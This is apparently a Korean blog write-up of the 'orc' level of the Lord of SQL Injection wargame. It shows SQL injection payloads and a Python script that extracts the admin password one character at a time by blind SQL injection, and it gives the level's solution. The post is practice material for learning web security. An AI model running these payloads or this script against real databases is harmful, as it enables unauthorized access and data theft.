ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Lord of SQL Injection> orc
    Wargame/Lord of SQL Injection 2021. 11. 11. 14:25

    orc

    GET 방식으로 'pw' 값을 전달받는다.

    'id' 값이 참이면 "Hello admin"을 출력한다.

    전달받은 'pw'에 싱글 쿼터('), 더블 쿼터("), 백 슬래시(\)가 있으면 그 앞에 '\'를 추가해서 전달받은 'pw' 값으로 한다.

    그리고 'pw' 값이 참이고, 'pw' 값이 전달받은 'pw' 값이 같다면 문제가 풀린다.

     

    우선 pw=1을 해보면

    아무것도 출력되지 않는다.

     

    or 문을 사용하여 'id' 값도 전달해야 하는 것 같다.

    ?pw=' or 1=1%23을 전달하면

    "Hello admin"이 출력된다.

    이를 통해 쿼리가 참이면 "Hello admin"이 출력되고, 거짓이면 아무것도 출력되지 않는 것을 짐작할 수 있다.

     

    결과가 참과 거짓뿐이므로 Blind SQL Injection을 수행해 볼 수 있다.

    우선, pw 값의 길이를 먼저 찾아야 한다.

    ?pw=' or length(pw) > 7%23을 입력하면

    7보단 크다.

    ?pw=' or length(pw) > 8%23을 입력하면

    이를 통해 pw의 값의 길이는 8인 것을 알 수 있다.

     

    이제 한 글자씩 찾아야 한다.

    파이썬 코드로 찾을 수 있다.

    import requests
    
    baseurl = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
    
    pw = ''
    want_str = '<h2>Hello admin</h2>'
    
    for i in range(1, 9):
        for j in range(33, 128):
            url = baseurl + "?pw=' or ord(substring(pw,{},1))={}%23".format(i, j)
            cookies={'PHPSESSID' : '7cfoal1urq5oid9efb2m1g9lju'}
            res = requests.get(url=url, cookies=cookies)
            
            if want_str in res.text:
                pw += chr(j)
                break
    
    print("pw : ", pw)

    다른 사이트들의 문제들은 동작 코드가 따로 구현돼있어 참일 때 출력되는 구문이 1개만 출력된다. 하지만 이 문제의

    경우, 동작 코드가 페이지에 나와있어 참일 때 출력되는 코드가 2개가 출력되어 앞에서 사용한 파이썬 코드를 사용할 수 없었다.

     

    그래서 참일 때 출력되는 구문인 "<h2>Hello admin</h2>"이 있으면 pw 값에 추가하도록 했다.

    이제 ?pw=095a9852를 입력하면 문제가 풀리게 된다.

    'Wargame > Lord of SQL Injection' 카테고리의 다른 글

    <Lord of SQL Injection> darkelf  (0) 2021.11.12
    <Lord of SQL Injection> wolfman  (0) 2021.11.11
    <Lord of SQL Injection> goblin  (0) 2021.11.11
    <Lord of SQL Injection> cobolt  (0) 2021.11.09
    <Lord of SQL Injection> gremlin  (0) 2021.11.07
Designed by Tistory.